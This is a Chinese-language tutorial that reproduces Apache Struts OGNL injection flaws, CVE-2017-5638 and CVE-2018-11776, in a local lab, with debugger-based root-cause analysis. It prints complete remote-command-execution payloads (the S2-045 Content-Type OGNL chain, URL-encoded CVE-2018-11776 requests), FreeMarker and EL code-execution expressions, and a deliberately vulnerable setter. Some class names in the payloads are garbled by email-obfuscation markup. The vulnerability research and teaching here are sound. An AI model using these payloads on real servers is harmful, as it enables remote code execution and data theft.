概述
通过本篇文章,我们主要了解如何在Apache Struts中实现OGNL注入。我们将举例阐述Struts中的两个关键漏洞: CVE-2017-5638 (Equifax信息泄露)和 CVE-2018-11776 。
Apache Struts是一个免费的开源框架,用于创建现代的Java Web应用程序。Apache Struts中有许多严重的漏洞,它的一个特性是支持OGNL(对象图导航语言),这也是许多漏洞的主要原因。
其中的一个漏洞(CVE-2017-5638)直接导致了2017年的 Equifax信息泄露 ,暴露了超过1.45亿美国公民的个人信息。尽管该公司的年收入超过30亿美元,但他们仍然没有逃过Apache Struts MVC框架的一个已知漏洞攻击。
本文主要介绍了Apache Struts,然后将指导我们如何修改一个简单的应用程序,使用OGNL并实现漏洞利用。接下来,我们将深入研究该平台上的一些公开漏洞利用方式,并尝试利用OGNL注入漏洞。
尽管Java开发人员熟悉Apache Struts,但安全社区往往并不尽然,这也就是我们撰写本文的原因。
入门
运行易受攻击的Struts应用程序需要安装Apache Tomcat Web服务器。该软件包的最新版本可以在 此处 下载(ZIP压缩包)。将二进制文件解压缩到您选择的位置(我们使用/var/tomcat)并继续:
cd /var/tomcat/bin # 转到解压缩的文件夹 chmod +x *.sh # 将脚本设置为可执行文件 ./startup.sh # 运行启动脚本
我们访问http://localhost:8080/,并检查该站点是否在运行。
确认无误后,我们准备下载旧版本的Apache Struts框架,该框架容易受到我们即将演示的漏洞攻击。该 页面 提供符合我们需求的2.3.30版本Struts。
在提取压缩的内容后,我们应该在/apps位置下看到struts2-showcase.war文件。这是一个使用Struts编译并准备部署的演示应用程序。只需要将WAR文件复制到/var/tomcat/webapps,并访问http://localhost:8080/struts2-showcase/showcase.action确认其是否有效。
Web服务器基础知识
如果您已经很好的掌握了与Java Web应用程序相关的简单概念(例如Servlet),那么您就已经领先了。如果您对 Java Servlet 一无所知,可以将其简单地理解为组件,其目的是创建用于在Web服务器上托管Web应用程序的Web容器,此外它还负责处理对/struts2-showcase等Java应用程序的请求。
要处理Servlet,Web服务器(例如Apache Tomcat)需要一些组件:
1. Apache Coyote 是支持HTTP/1.1协议的连接器。它允许与Servlet容器组件Apache Catalina进行通信。
2. Apache Catalina 容器时确定在Tomcat接收HTTP请求时需要调用哪些Servlet的容器。它还将HTTP请求和响应从文本转换为Servlet使用的Java对象。
您可以在 这里 找到有关Java Servlet规范的所有详细信息(最新版本为4.0)。
Apache Struts基础知识
与Java Web应用程序一样,使用Apache Struts框架的应用程序可以具有多个Servlet。本文的主要目的不是让大家理解这个构建Web应用程序的框架,只是从表面上弄懂基本概念。我们可以通过 分步教程 来对该主题有所了解。
Apache Struts框架依赖于MVC( 模型-视图-控制器 )架构模式。它对应用程序非常有帮助,因为可以分离主要的 应用程序组件 :
1. 模型(Model):表示应用程序数据,例如使用“订单”等数据的类。
2. 视图(View):是应用程序的输出,可视部分。
3. 控制器(Controller):接收用户输入,使用模型生成视图。
4. 动作(Actions):Apache Struts中的模型。
5. 拦截器(Interceptors):控制器的一部分,它们是可以在处理请求之前或之后调用的钩子。
6. 值栈/OGNL:一组对象,例如模型或动作对象。
7. 结果/结果类型:用于选择业务逻辑后的视图。
8. 视图技术:处理数据的显示方式。
大家可以在下面看到Apache Struts Web应用程序的 一般体系结构 :
控制器接收HTTP请求,FilterDispatcher负责根据请求调用正确的操作。然后执行该操作,视图组件准备结果并将其发送给HTTP响应中的用户。
Struts应用程序示例
要从头开始编写Struts应用程序需要一些时间,所以我们将使用一个已经可用的rest-showcase演示应用程序,这是一个带有基本前端的简单 REST API 。要编译应用程序,我们只需要进入其目录,并使用 Maven 编译:
cd struts-2.3.30/src/apps/rest-showcase/ mvn package
在目标目录中,我们可以找到以下文件:struts2-rest-showcase.war。您可以通过将其复制到Tomcat服务器的webapps目录(例如:/var/tomcat/webapps)来安装。
下面是该应用的源代码:
以下是可用文件的说明:
1. Order.java是模型,它是一个存储订单信息的Java类。
public class Order { String id; String clientName; int amount; … }
2. OrdersService.java是一个Helper类,它将Orders存储在HashMap总,并对其进行管理。
public class OrdersService { private static Map<String,Order> orders = new HashMap<String,Order>(); … }
3. IndexController.java和OrderController.java是Struts应用程序的控制器或动作。
4. 我们还可以看到代表视图的多个JSP文件。
5. 以及例如web.xml和struts.xml的配置文件。
服务器端模板和注入
JSP 通过将静态HTML与在服务器上执行的动态代码混合,可以生成动态HTML代码。与PHP类似,可以混合使用Java和HTML代码。下面是一个 示例 :
<li><p><b>First Name:</b> <%= request.getParameter("first_name")%> </p></li> <li><p><b>Last Name:</b> <%= request.getParameter("last_name")%> </p></li>
如上面的代码片段所示,我们可以将请求对象与HTML代码一起使用,并调用getParameter函数,该函数返回参数first_name和last_name的值。
要遵循MVC设计模式并避免视图(JSP)和模型/控制器(Java)之间的复杂混合,可以在JSP文件中使用 表达式语言 。这是一种特殊的编程语言,使视图能够与Java应用程序通信:
<jsp:text> Box Perimeter is: ${2*box.width + 2*box.height} </jsp:text>
该功能也称为服务器端模板,因为它允许在服务器上创建HTML模板,以便轻松管理HTML和Java代码组合。可以使用多个服务器端模板引擎,例如FreeMaker、Velocity或Thymeleaf。
此时,我们不仅在后端使用Java,而且还通过模板引擎使用一些特殊的编程语言,这可能是 服务器端模板注入 漏洞的正确基础。
与其他漏洞一样,当模板引擎解析或解释用户提供的数据时,会出现问题。由于它们的实用性在于它们提供的许多功能,因此模板引擎通常包括调用函数的方法,这为执行操作系统命令打开了大门。
使用FreeMaker模板引擎检查该示例:
<head> <title>${title}</title> </head> … <#if animals.python.price == 0> Pythons are free today! </#if>
在上面的代码中,如果满足条件,则会生成动态生成的标题和消息。
攻击者可以打印动态内容,该内容可能是敏感信息,例如应用程序配置数据。此外,如果模板引擎允许,攻击者可以执行操作系统命令。具体来说,是通过滥用模板引擎的功能。下面是FreeMaker的示例:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
表达式语言注入
表达式语言用于创建服务器端模板,因此它也快可以被视为是服务器端模板引擎。但由于它也满足其他目的,因此其中的漏洞并非严格意义上的注入类型。下面有一些 示例 :
${customer.address["street"]} ${mySuit == "hearts"} ${customer.age + 20} #{customer.age} ${requestScope[’javax.servlet.forward.servlet_path’]}
用户可能能够执行用户提供的表达式语言代码,因此这意味着应用程序可能容易受到表达式语言注入的攻击。正如 这篇文章 所解释的,因为使用了${EL}语法,所以很容易找到表达式语言的缺陷。例如,一个简单的数学运算,例如${9999+1}将被评估为10000,这可能会在响应中可见。
即使这对于攻击者来说不是很有用,也可以使用表达式语言的默认范围来检索实用的信息,例如${applicationScope}或${requestScope}。
进一步 来说,表达式语言注入可以允许会话对象修改,并将用户的权限提升到管理员级别:
${pageContext.request.getSession().setAttribute("admin",true)}
最后,甚至可能使用以下方法获取远程代码执行:
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}
通过拒绝用户提供的表达式语言解析函数输入,保持所有依赖关系更新,甚至通过正确转义用户输入中的#{和${,可以防止此类漏洞。
对象图导航语言注入
对象图导航语言( OGNL )是一种用于Java的开源表达式语言。OGNL的 主要功能 是获取和设置对象属性。在Java中可以做的大部分工作都可以在OGNL中实现。
如果我们要处理订单,如下所示:
public class Order { String id; String clientName; int amount; … }
可以在JSP文件中直接访问订单属性,如下所示:
<!DOCTYPE html> <%@taglib prefix="s" uri="/struts-tags" %> ... <s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple"> <s:hidden name="_method" value="put" />` ID `<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>` Client `<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>` Amount `<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" /> <s:submit cssClass="btn btn-primary"/> </s:form>
使用%{code}和${code}来评估OGNL表达式。正如其 文档 中所述,OGNL允许以下内容:
1. 访问name或headline.text等属性。
2. 调用toCharArray()等方法。
3. 从数组中访问元素,例如listeners[0]。
4. 甚至可以将它们组合起来:name.toCharArray()[0].numericValue.toString()。
也可以使用变量(#var = 99),创建数组(new int[] { 1, 2, 3 })或映射(#@[email protected]{ "foo" : "foo value", "bar" : "bar value" }),甚至访问静态字段(@[email protected]或调用静态方法:@[email protected](args))。
OGNL是一种功能强大的语言,但在Apache Struts中将用户提供的输入作为OGNL会影响其安全性。我们举一个简单的例子,在rest-showcase应用程序中引入一个漏洞。
我们的所有Order属性都有getter和setter,例如:
public String getClientName() { return clientName; } public void setClientName(String clientName) { this.clientName = clientName; }
通过导入三个额外的包,并调用TextParseUtil.translateVariables方法,可以修改setter使其易受OGNL注入攻击,然后将对其进行评估。在我们的示例中,修改检查clientName参数中的值。
import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.util.TextParseUtil; import com.opensymphony.xwork2.util.reflection.ReflectionContextState; …
public void setClientName(String clientName) { ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(), false);` `this.clientName = `**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());
translateVariables方法的代码如下:
TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class); return `**parser.evaluate**`(openChars, expression, ognlEval, maxLoopCount);
这将评估OGNL表达式(OgnlTextParser.java)。
接下来,我们可以重新编译应用程序,启动并尝试利用clientName参数中的漏洞。最简单的测试方法,是使用简单的数学运算,例如%{999+1}。
在修改顺序之后,客户端名称将被解析为OGNL,这一点可以通过成功执行数学运算来确认。
既然我们知道参数是易受攻击的,我们可以在测试中使用它。需要注意的一点是,在调用translateVariables函数之前,我们调用setDenyMethodExecution。这是必要的,因为在设置参数值时,方法的执行将被拒绝,这是一种保护措施,因此我们将无法执行任何方法。
如果在漏洞利用阶段,遇到类似位置的漏洞,可以在任何方法调用之前直接从Payload启用方法执行:
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
感谢mmolgtm指出这一点。
在IDE的内置调试器中运行Java应用程序,可以提高对应用程序和漏洞的理解,因为它提供了漏洞利用工作原理的清晰、渐进的视图。
在调试易受攻击的应用程序的过程中,可以在代码的任何位置设置断点,并且能够检查并修改所有变量。
使用旧的Java应用程序(例如:Struts 2.3.30)可能需要更改某些设置,以允许在调试器中编译和运行它。下面是一些建议:
1. 转到 Run > Debug > Edit Configuration(运行 – 调试 – 编辑配置)。
2. 单击 + ,并选择Maven。
3. 通过选择Maven项目来指定工作目录,例如rest-showcase。
4. 指定以下命令行:jetty:run -f pom.xml(Jetty是Web服务器)。
现在,可以轻松地在setClientName方法上设置断点,在http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml上打开浏览器,为其中一个订单选择编辑,然后点击提交编辑订单。这应该触发对setClientName的调用,并到达断点。
CVE-2017-5638根本原因
CVE-2017-5638是Struts中最受关注的漏洞,主要是因为该漏洞在Equifax数据泄露事件中被利用。安全社区认真研究了这一漏洞,这里是其中的 两个 例子 。
Exploit-DB上 提供了一个漏洞利用方式,我们可以从这里下载并运行。
python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned" [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: touch /tmp/pwned
其结果应该是在/tmp/pwned位置创建文件:
CVE-2017-5638的问题在于,要利用这一漏洞,不需要框架和应用程序做任何事情,这也是最糟糕的一种情况。
调试器是了解漏洞根本原因的最快方式。使用调试器,在translateVariables方法上放置一个断点,该方法会被漏洞利用来进行调用。
python CVE-5638.py http://127.0.0.1:8080/struts2-rest-showcase/ 'ls -la /'
这样一来,我们就可以查看完整的栈跟踪,包括所需的所有数据。其结果如下:
如果我们查看栈,可以清楚地了解到正在发生的事情。
1. 在doFilter(…)方法中处理请求,该方法调用prepare.wrapRequest(request);方法。
2. wrapRequest调用dispatcher.wrapRequest(request);。
3. 在这种方法中,我们可以找到一些值得关注的地方:
String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) { … request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);` } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); }
如果请求的Content-Type标头包含multipart/form-data字符串,那么框架将使用MultiPartRequestWrapper类。
1. 接下来,解析请求multi.parse(request, saveDir);
2. 该方法尝试解析请求,但在发现Content-Type无效时会抛出异常:
if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
1. 这个异常会导致对buildErrorMessage的调用,将执行以下方法:LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale, e.getMessage(), args);。其中,e.getMessage()是包含漏洞利用的错误消息。
2. 这导致调用返回findText(aClass, aTextName, locale, defaultMessage, args, valueStack);。
3. 然后调用result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);。
4. 接下来,调用将会执行异常:MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);。
5. translateVariables方法将执行异常:请求不包含multipart/form-data或multipart/mixed流,内容类型标头为%{(#_=’multipart/form-data’)。#[email protected]@DEFAULT_MEMBER_ACCESS
总的来说,该漏洞的利用方法非常简单,带有OGNL表达式的无效Content-Type标头会触发CVE-2017-5638。由于某种原因,带有OGNL表达式的异常消息被解析。
CVE-2018-11776根本原因
要利用此漏洞,我们需要2.5.16版本的Struts,这里可以下载到ZIP格式版本。如这里所述,在自定义配置中可以成功利用:
1. 转到struts-2.5.16目录:cd struts-2.5.16/
2. 搜索struts-actionchaining.xml文件:find . -name struts-actionchaining.xml
3. 编辑XML文件,例如./src/apps/showcase/src/main/resources/struts-actionchaining.xml
4. 修改<struts>标记,使其具有如下值:
<struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts>
这允许我们使用struts2-showcase应用程序作为目标。编译它需要如下步骤:
1. cd src/apps/showcase/ # 转到Showcase目录
2. mvn package -DskipTests=true # 对其进行编译
3. cp target/struts2-showcase.war /var/tomcat/webapps/ # 复制到Tomcat
现在,我们可以通过在Web浏览器中加载以下内容,来检查应用程序是否易受攻击:
http://127.0.0.1:8080/struts2-showcase/**${22+22}**/actionChain1.action
我们应该重定向到 http://127.0.0.1:8080/struts2-showcase/44/register2.action 。
这里提供了一个包含大量技术实现细节的可用漏洞利用方式。为了利用此漏洞,我们使用以C语言编写的漏洞。
我们需要使用URL中编码的以下Payload发送两个请求:
${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1b2bebcffbea1b4bfa2a8bca1b9bebfa8ffa9a6bea3bae3ffbeb6bfbdff9eb6bfbd84a5b8bd91b2bdb0a2a2">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))} ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="31555c0c715e565f5d1f7e565f5d725e5f45544945">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#<a href="/cdn-cgi/l/email-protection" data-cfemail="b9cad584f9d3d8cfd897d0d697ffd0d5dc">[email protected]</a>@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}
漏洞利用如下:
http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action
最终,弹出计算机应用程序,这也是预期的结果:
查看调试器中的Payload,有助于理解其工作原理。请注意,/struts2-showcase/${2+4}/actionChain1.action字符串中的${2+4}在Struts中称为命名空间,actionChain1是动作。
1. 调用execute(ActionInvocation invocation)方法具有以下效果:
if (namespace == null) { namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}” } … String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action” super.execute(invocation);
2. execute方法同样调用了super.execute(invocation);
3. 然后调用此方法:
/** Implementation of the `execute` method from the `Result` interface. This will call the abstract method {@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation /* public void execute(ActionInvocation invocation) throws Exception { lastFinalLocation = conditionalParse(location, invocation); doExecute(lastFinalLocation, invocation); }
4. conditionalParse方法解析OGNL表达式的参数(在第一步中使用setLocation方法之前设置的位置):
/** Parses the parameter for OGNL expressions against the valuestack … */ protected String conditionalParse(String param, ActionInvocation invocation) { if (parse && param != null && invocation != null) { return TextParseUtil.translateVariables( param, invocation.getStack(), new EncodingParsedValueEvaluator());
其结果是可以执行任意OGNL变道时。关于这个问题的更多细节位于这里。其要点是,当使用动作链时,来自用户的命名空间将被解析为OGNL。
了解OGNL注入Payload
如果你想知道为什么公开的漏洞利用不是类似于%{@[email protected]().exec('command')}这样的,实际上有两个原因。一个是由于Struts维护团队实现的保护机制,另一个涉及到功能(读取命令的输出,或使其跨平台)。
该 页面 提供了有用的详细信息,下面是其简短的摘要:
1. SecurityMemberAccess类在Payload执行期间,可以作为_memberAccess,决定OGNL可以执行的操作,但可以选择使用条件更加宽松的DefaultMemberAccess类。
2. 另一个保护措施是将类和包名称列入黑名单。
3. 另外一种不同的缓解措施,可能是对静态方法的限制,这可以通过_memberAccess 类的allowStaticMethodAccess字段实现。
(#_='multipart/form-data'). (#<a href="/cdn-cgi/l/email-protection" data-cfemail="80e4edbdc0efe7eeecaecfe7eeecc3efeef4e5f8f4">[email protected]</a>@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#context['xwork.MethodAccessor.denyMethodExecution']=false). (#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='/usr/bin/touch /tmp/pwned').(#<a href="/cdn-cgi/l/email-protection" data-cfemail="2c455f5b4542116c464d5a4d02404d424b027f555f584941">[email protected]</a>@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="0d627f6a236c7d6c6e6568237e797f78797e3f235e687f7b6168794c6e796462634e6263796875794d6a68795f687e7d62637e68">[email protected]</a>().getOutputStream())). (@<a href="/cdn-cgi/l/email-protection" data-cfemail="dab5a8bdf4bbaabbb9b2bff4b9b5b7b7b5b4a9f4b3b5f493958faeb3b6a99ab9b5aaa3">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())
1. #_=’multipart/form-data’ – 需要一个随机变量,因为我们的Payload中需要multipart/form-data字符串才能触发漏洞
2. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用DefaultMemberAccess(比SecurityMemberAccess的条件更加宽松)的值创建dm变量
3. #_memberAccess?(#_memberAccess=#dm) – 如果_memberAccess类存在,我们将其替换为dm变量的DefaultMemberAccess
4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 从上下文中获取容器,将在后面需要用到
5. #ognlUtil=#container.getInstance(@[email protected]) – 使用它来获取OgnlUtil类的实例(我们无法直接执行,因为它被列入了黑名单之中,完整的列表位于./src/core/src/main/resources/struts-default.xml)
6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名称
7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的类
8. #context.setMemberAccess(#dm) – 将DefaultMemberAccess设置为当前上下文
9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定义我们想要执行的命令
10. #iswin=(@[email protected](‘os.name’).toLowerCase().contains(‘win’)) – 如果应用程序在Windows上运行,则保存在变量中(跨平台漏洞)
11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根据操作系统执行命令(cmd.exe或bash)
12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder类来运行命令(参数)
13. #p.redirectErrorStream(true) – 查看命令的错误输出,可能也会有帮助
14. #process=#p.start() – 执行命令
15. #ros=(@[email protected]().getOutputStream()) – 获取响应的输出流,将数据发送回用户
16. @[email protected](#process.getInputStream(),#ros) – 获取执行命令的输出
17. #ros.flush() – 刷新,确保我们发送所有数据。
1. #_=#attr[‘struts.valueStack’] – 使用attr获取ValueStack
2. #context=#_.getContext() – 获取上下文
3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 获取容器
4. #ognlUtil=#container.getInstance(@[email protected]) – 获取对OgnlUtil类的引用
5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的类
6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名称
7. #[email protected]@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定义变量dm
8. #context.setMemberAccess(#dm) – 设置DefaultMemberAccess而不是SecurityMemberAccess
9. #[email protected]@separator – 未使用
10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)声明ProcessBuilder
11. #p.start() – 执行命令
总结
尽管Apache Struts是一个众所周知且广泛使用的框架,但由于缺乏公开的安全研究,使其仍然可能成为一个简单的目标。有关该主题的公开研究知识,可以在 LGTM博客 中获得。
OGNL注入漏洞影响Apache Struts的多个版本,并且是通过滥用代码中的现有功能,来实现远程执行代码的一个良好示例。
漏洞利用一开始可能看起来很困难,但实际上并非如此,调试器总是非常有帮助。熟悉Java可能对安全研究者来说非常困难,但最终会变成一个优势。
在所有新研究中,耐心是最有价值的品质。我们的建议是,当事情变得困难时,不要轻易放弃。并且善于提出问题,安全社区总是一个最有帮助的地方。